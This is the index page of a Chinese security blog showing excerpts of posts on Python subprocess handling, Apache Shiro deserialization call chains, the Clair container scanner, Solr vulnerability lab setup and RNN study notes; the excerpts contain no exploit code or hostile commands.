<!DOCTYPE html>





<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 3.9.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16.png?v=7.4.0">
  <link rel="mask-icon" href="/images/avatar.svg?v=7.4.0" color="#222">
  <link rel="alternate" href="/atom.xml" title="Anemone's Blog" type="application/atom+xml">
  <meta name="google-site-verification" content="Re5JdegRYzNFco-rC9lYIsvSWIgh5JvyfhuEaZCeFCk">
  <meta name="baidu-site-verification" content="opTC8YN3Pn">

<link rel="stylesheet" href="/css/main.css?v=7.4.0">


<link rel="stylesheet" href="https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css">


<script id="hexo-configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Pisces',
    version: '7.4.0',
    exturl: false,
    sidebar: {"position":"left","display":"post","offset":12,"onmobile":false},
    copycode: {"enable":false,"show_result":false,"style":null},
    back2top: {"enable":true,"sidebar":false,"scrollpercent":false},
    bookmark: {"enable":false,"color":"#222","save":"auto"},
    fancybox: false,
    mediumzoom: false,
    lazyload: false,
    pangu: false,
    algolia: {
      appID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    },
    localsearch: {"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":true,"preload":false},
    path: 'search.xml',
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    translation: {
      copy_button: '复制',
      copy_success: '复制成功',
      copy_failure: '复制失败'
    },
    sidebarPadding: 40
  };
</script>

  <meta name="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
<meta property="og:type" content="website">
<meta property="og:title" content="Anemone&#39;s Blog">
<meta property="og:url" content="http://anemone.top/index.html">
<meta property="og:site_name" content="Anemone&#39;s Blog">
<meta property="og:description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
<meta property="og:locale" content="zh-CN">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Anemone&#39;s Blog">
<meta name="twitter:description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
  <link rel="canonical" href="http://anemone.top/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome: true,
    isPost: false,
    isPage: false,
    isArchive: false
  };
</script>

  <title>Anemone's Blog</title>
  








  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .logo,
  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-CN">
  <div class="container use-motion">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-meta">

    <div>
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Anemone's Blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
  </div>

  <div class="site-nav-toggle">
    <button aria-label="切换导航栏">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>


<nav class="site-nav">
  
  <ul id="menu" class="menu">
      
      
      
        
        <li class="menu-item menu-item-home">
      
    

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-about">
      
    

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-tags">
      
    

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-categories">
      
    

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-archives">
      
    

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a href="javascript:;" class="popup-trigger">
        
          <i class="fa fa-search fa-fw"></i>搜索</a>
      </li>
    
  </ul>

</nav>
  <div class="site-search">
    <div class="popup search-popup">
    <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocorrect="off" autocapitalize="none"
           placeholder="搜索..." spellcheck="false"
           type="text" id="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result"></div>

</div>
<div class="search-pop-overlay"></div>

  </div>
</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
            

          <div id="content" class="content">
            
  <div id="posts" class="posts-expand">
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/dev-使用Python优雅调用其他工具或命令/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/dev-使用Python优雅调用其他工具或命令/" class="post-title-link" itemprop="url">使用Python优雅调用其他工具或命令</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2020-03-02 15:32:03" itemprop="dateCreated datePublished" datetime="2020-03-02T15:32:03+08:00">2020-03-02</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-03-21 15:51:07" itemprop="dateModified" datetime="2020-03-21T15:51:07+08:00">2020-03-21</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/安全开发/" itemprop="url" rel="index"><span itemprop="name">安全开发</span></a></span>

                
                
              
            </span>
          

          
            <span id="/dev-使用Python优雅调用其他工具或命令/" class="post-meta-item leancloud_visitors" data-flag-title="使用Python优雅调用其他工具或命令" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>Python 开发扫描器时往往会调用其他第三方工具，但是通过 <code>os.system()</code>或者其他命令中是会有这样或那样的坑或不足，本文对这些问题进行总结并提出解决方案，并在结尾给出了一个封装好的类，能较为完美的解决Python调用第三方命令的问题。</p><h1 id="需求"><a href="#需求" class="headerlink" title="需求"></a>需求</h1><ol>
<li>首先，我可以调用任意命令，并且可以在命令执行时向输入通道（stdin）传更多输入，同时Python能实时获取输出通道（stdout）和错误通道（stderr）获程序输出，注意是获取输出，而不是单纯的将输出重定向到屏幕或文件中；</li>
<li>我可以通过返回值，或者程序输出判断第三方程序执行是否出错，如果出错抛出异常或者进行异常处理；</li>
<li>执行命令是最好可以设置超时时间，防止子命令假死而影响主程序；</li>
<li>这段调用程序应该是跨平台的，毕竟Python本身就是跨平台语言。</li>
</ol>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/dev-使用Python优雅调用其他工具或命令/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/vulnresearch-Shiro1.2.4反序列化/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/vulnresearch-Shiro1.2.4反序列化/" class="post-title-link" itemprop="url">Shiro v1.2.4反序列化</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-11-25 15:16:43" itemprop="dateCreated datePublished" datetime="2019-11-25T15:16:43+08:00">2019-11-25</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-03-21 16:21:20" itemprop="dateModified" datetime="2020-03-21T16:21:20+08:00">2020-03-21</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/漏洞分析/" itemprop="url" rel="index"><span itemprop="name">漏洞分析</span></a></span>

                
                
              
            </span>
          

          
            <span id="/vulnresearch-Shiro1.2.4反序列化/" class="post-meta-item leancloud_visitors" data-flag-title="Shiro v1.2.4反序列化" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><h2 id="触发入口"><a href="#触发入口" class="headerlink" title="触发入口"></a>触发入口</h2><p>登录点击记住密码时，有rememberMe，下次登陆时会带rememberMe的cookie，rememberMe存在反序列化问题</p><p><img src="/vulnresearch-Shiro1.2.4反序列化/1563415886850.png" alt="1563415886850"></p><h2 id="序列化入口"><a href="#序列化入口" class="headerlink" title="序列化入口"></a>序列化入口</h2><p>调试得到序列化入口和解密方法：</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(AuthenticationToken, AuthenticationInfo):321</span><br><span class="line">	org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(Subject, PrincipalCollection)</span><br><span class="line">		org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes(L360:序列化)			</span><br><span class="line">    		org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(加密方法)</span><br></pre></td></tr></table></figure>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/vulnresearch-Shiro1.2.4反序列化/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/vulnresearch-Shrio1.4.0PaddingOracle导致反序列化/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/vulnresearch-Shrio1.4.0PaddingOracle导致反序列化/" class="post-title-link" itemprop="url">Shiro v1.4.0反序列化</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-11-25 15:15:43" itemprop="dateCreated datePublished" datetime="2019-11-25T15:15:43+08:00">2019-11-25</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-03-21 16:11:52" itemprop="dateModified" datetime="2020-03-21T16:11:52+08:00">2020-03-21</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/漏洞分析/" itemprop="url" rel="index"><span itemprop="name">漏洞分析</span></a></span>

                
                
              
            </span>
          

          
            <span id="/vulnresearch-Shrio1.4.0PaddingOracle导致反序列化/" class="post-meta-item leancloud_visitors" data-flag-title="Shiro v1.4.0反序列化" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>shiro1.2.5后秘钥不再硬编码，但是采用CBC加密会产生padding  oracle攻击，又因为java序列化结构体后可以加垃圾字符，所以攻击能够成功</p><h1 id="解密时的调用链"><a href="#解密时的调用链" class="headerlink" title="解密时的调用链"></a>解密时的调用链</h1><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals // 不论哪个异常都会返回null，上层302跳转</span><br><span class="line">  org.apache.shiro.mgt.AbstractRememberMeManager#decrypt</span><br><span class="line">    org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])</span><br><span class="line">      org.apache.shiro.crypto.JcaCipherService#decrypt(byte[] encrypted, byte[] key, byte[] iv)</span><br><span class="line">        org.apache.shiro.crypto.JcaCipherService#crypt(byte[] encrypted, byte[] key, byte[] iv, int MODE):</span><br><span class="line">          org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[] encrypted):459 //throw Unable to execute 'doFinal' with cipher instance</span><br><span class="line">            javax.crypto.Cipher#doFinal(byte[] encrypted)  //this=(key+iv+mode) // jce.jar包 调试直接在这下断点</span><br><span class="line">              com.sun.crypto.provider.AESCipher#engineDoFinal(byte[] encrypted, startIdx, len)</span><br><span class="line">                com.sun.crypto.provider.CipherCore#doFinal(byte[] encrypted, startIdx, len)</span><br><span class="line">                  com.sun.crypto.provider.CipherCore#fillOutputBuffer(encrypted, startIdx, iv, startIdx, len, encrypted)</span><br><span class="line">                    com.sun.crypto.provider.CipherCore#unpad(len, decrypted)</span><br><span class="line">                      com.sun.crypto.provider.PKCS5Padding#unpad(decrypted, startIdx, len)  // throw BadPaddingException</span><br><span class="line">  org.apache.shiro.mgt.AbstractRememberMeManager#deserialize(serialized)</span><br><span class="line">    org.apache.shiro.io.DefaultSerializer#deserialize(serialized) // invalid stream header</span><br></pre></td></tr></table></figure>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/vulnresearch-Shrio1.4.0PaddingOracle导致反序列化/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/container-Clair初探/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/container-Clair初探/" class="post-title-link" itemprop="url">Clair初探</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-11-16 16:12:49" itemprop="dateCreated datePublished" datetime="2019-11-16T16:12:49+08:00">2019-11-16</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-11-24 15:58:54" itemprop="dateModified" datetime="2019-11-24T15:58:54+08:00">2019-11-24</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/container/" itemprop="url" rel="index"><span itemprop="name">container</span></a></span>

                
                
              
            </span>
          

          
            <span id="/container-Clair初探/" class="post-meta-item leancloud_visitors" data-flag-title="Clair初探" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="Clair简介"><a href="#Clair简介" class="headerlink" title="Clair简介"></a>Clair简介</h1><p>clair是CoreOS公司开源的一套针对容器安全性检测工具，主要用于发掘容器中使用的组件是否存在安全性问题。</p><p>GitHub项目地址： <a href="https://github.com/quay/clair" target="_blank" rel="noopener">https://github.com/quay/clair</a> </p><h1 id="Clair-Framework"><a href="#Clair-Framework" class="headerlink" title="Clair Framework"></a>Clair Framework</h1><h2 id="术语"><a href="#术语" class="headerlink" title="术语"></a>术语</h2><ul>
<li>Ancestry——表示容器</li>
<li>Feature——容器中任何具有脆弱性的实体，如软件包和文件</li>
<li>Feature Namespace——Feature所在的上下文，如操作系统和编程语言</li>
<li>Vulnerability Source——Clair中用来跟踪上有漏洞数据库（如CVE）的组件</li>
<li>Vulnerability Metadata Source——漏洞元数据，用来关联上游漏洞数据和Clair数据库</li>
</ul>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/container-Clair初探/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/vulnresearch-Solr_DataImportHandler_RCE/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/vulnresearch-Solr_DataImportHandler_RCE/" class="post-title-link" itemprop="url">Solr DataImportHandler RCE(CVE-2019-0193)漏洞分析</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-11-03 20:30:49" itemprop="dateCreated datePublished" datetime="2019-11-03T20:30:49+08:00">2019-11-03</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-11-23 10:36:05" itemprop="dateModified" datetime="2019-11-23T10:36:05+08:00">2019-11-23</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/漏洞分析/" itemprop="url" rel="index"><span itemprop="name">漏洞分析</span></a></span>

                
                
              
            </span>
          

          
            <span id="/vulnresearch-Solr_DataImportHandler_RCE/" class="post-meta-item leancloud_visitors" data-flag-title="Solr DataImportHandler RCE(CVE-2019-0193)漏洞分析" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>先到solr上下载jar和src，这里选择的版本为v8.1.0</p><p><a href="https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.zip" target="_blank" rel="noopener">https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.zip</a></p><p><a href="https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0-src.tgz" target="_blank" rel="noopener">https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0-src.tgz</a></p>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/vulnresearch-Solr_DataImportHandler_RCE/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/vulnresearch-Solr_Velocity_injection/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/vulnresearch-Solr_Velocity_injection/" class="post-title-link" itemprop="url">Solr Velocity模板注入漏洞分析</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-11-03 20:30:49" itemprop="dateCreated datePublished" datetime="2019-11-03T20:30:49+08:00">2019-11-03</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-12-08 20:57:03" itemprop="dateModified" datetime="2019-12-08T20:57:03+08:00">2019-12-08</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/漏洞分析/" itemprop="url" rel="index"><span itemprop="name">漏洞分析</span></a></span>

                
                
              
            </span>
          

          
            <span id="/vulnresearch-Solr_Velocity_injection/" class="post-meta-item leancloud_visitors" data-flag-title="Solr Velocity模板注入漏洞分析" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>下载受影响版本的solr，这里依然选择v8.1.0，这里注意除了添加solr的jar还需要添加velocity的（源码的化可以让IDEA从maven上下源码）：</p><p><img src="/vulnresearch-Solr_Velocity_injection/image-20191124205421987.png" alt="image-20191124205421987"></p><p>同样的方法启动项目</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">anemone@ANEMONE-ASUS:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0</span><br><span class="line">$ <span class="built_in">cd</span> server/ <span class="comment">#一定要在server下运行</span></span><br><span class="line">anemone@ANEMONE-ASUS:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0/server</span><br><span class="line">$ java <span class="string">"-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000"</span> -Dsolr.solr.home=<span class="string">"../example/example-DIH/solr/"</span> -jar start.jar --module=http</span><br></pre></td></tr></table></figure>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/vulnresearch-Solr_Velocity_injection/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/ml-RNN学习笔记/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/ml-RNN学习笔记/" class="post-title-link" itemprop="url">RNN学习笔记</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-10-24 20:30:49" itemprop="dateCreated datePublished" datetime="2019-10-24T20:30:49+08:00">2019-10-24</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-11-03 20:42:06" itemprop="dateModified" datetime="2019-11-03T20:42:06+08:00">2019-11-03</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/机器学习/" itemprop="url" rel="index"><span itemprop="name">机器学习</span></a></span>

                
                
              
            </span>
          

          
            <span id="/ml-RNN学习笔记/" class="post-meta-item leancloud_visitors" data-flag-title="RNN学习笔记" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
